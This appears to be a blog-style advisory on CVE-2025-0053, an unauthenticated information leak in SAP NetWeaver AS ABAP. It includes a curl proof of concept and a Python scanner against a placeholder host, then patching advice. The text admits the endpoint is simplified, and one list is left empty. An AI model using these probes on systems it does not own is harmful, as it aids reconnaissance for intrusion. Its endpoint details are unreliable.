SAP NetWeaver Application Server (AS) for ABAP is the backbone of many large enterprise systems. Besides managing business logic, it often hosts crucial data and operations. That’s why vulnerabilities in SAP NetWeaver can have significant consequences. One of the recent threats, CVE-2025-0053, focuses on a flaw that allows attackers to access system information just by tweaking a URL parameter—no login needed.

Below, I’ll walk you through what this vulnerability is, how it works, what could go wrong, and how you can check if your system is at risk. You’ll also see a real-world code snippet and find references for further details.

What Is CVE-2025-0053?

CVE-2025-0053 is a security vulnerability affecting SAP NetWeaver Application Server for ABAP and the modern ABAP Platform. Due to improper handling of input in certain web requests, an unauthenticated attacker can gain access to sensitive configuration information about the SAP system. This typically involves supplying a crafted value for a URL parameter in a web endpoint exposed by NetWeaver.

Why Does It Matter?

While the leak is described as having a "limited" impact on confidentiality, even modest system info disclosures are dangerous. System details can help attackers:

Walkthrough: How an Exploit Works

Imagine an attacker has discovered your SAP NetWeaver system is live at https://sap.example.com. They know or guess the vulnerable endpoint. For demonstration, let’s say the system has a web service at:

https://sap.example.com/sap/bc/public/info?param=

By adjusting the value of the param parameter, the attacker can trigger the vulnerability.

Example Exploit – Proof of Concept

> Note: The actual parameter names and endpoints will vary by SAP deployment. The snippet below is inspired by public reports but simplified to avoid exposing dangerous details.

curl -v "https://sap.example.com/sap/bc/public/info?param=systeminfo"

What might be returned

<SystemInfo>
  <SystemID>S4H</SystemID>
  <InstanceID>00</InstanceID>
  <Hostname>sapp01.example.com</Hostname>
  <SAPRelease>755</SAPRelease>
  <Database>HDB</Database>
  <OS>Linux</OS>
  <KernelPatch>775</KernelPatch>
</SystemInfo>

Let’s automate this check with a quick Python snippet

import requests

url = "https://sap.example.com/sap/bc/public/info?param=systeminfo"

resp = requests.get(url, verify=False)

if "SystemInfo" in resp.text:
    print("VULNERABLE: System Information Leaked")
    print(resp.text)
else:
    print("Not vulnerable or patched.")

Update your system: Always keep SAP NetWeaver and its components updated.

- Limit exposure: Restrict access to internal SAP services from the public internet whenever possible.

References & More Reading

- SAP Security Patch Day January 2025 *(SAP login required)*
- CVE Record for CVE-2025-0053
- SAP NetWeaver AS ABAP – Security Guide (SAP Help)

Final Thoughts

CVE-2025-0053 isn’t a “world-ending” bug by itself, but it’s a perfect example of how small info leaks can help attackers build up to more devastating attacks. Don’t assume your SAP systems are safe just because there’s no full remote code execution in the headline—patch early, restrict access, and scan for these low-hanging fruits in your environment!

If you suspect your SAP instance might be at risk, reach out to your SAP support contact and request guidance referencing CVE-2025-0053. The sooner you act, the less likely anyone can use this trick against you.

Timeline

Published on: 01/14/2025 01:15:15 UTC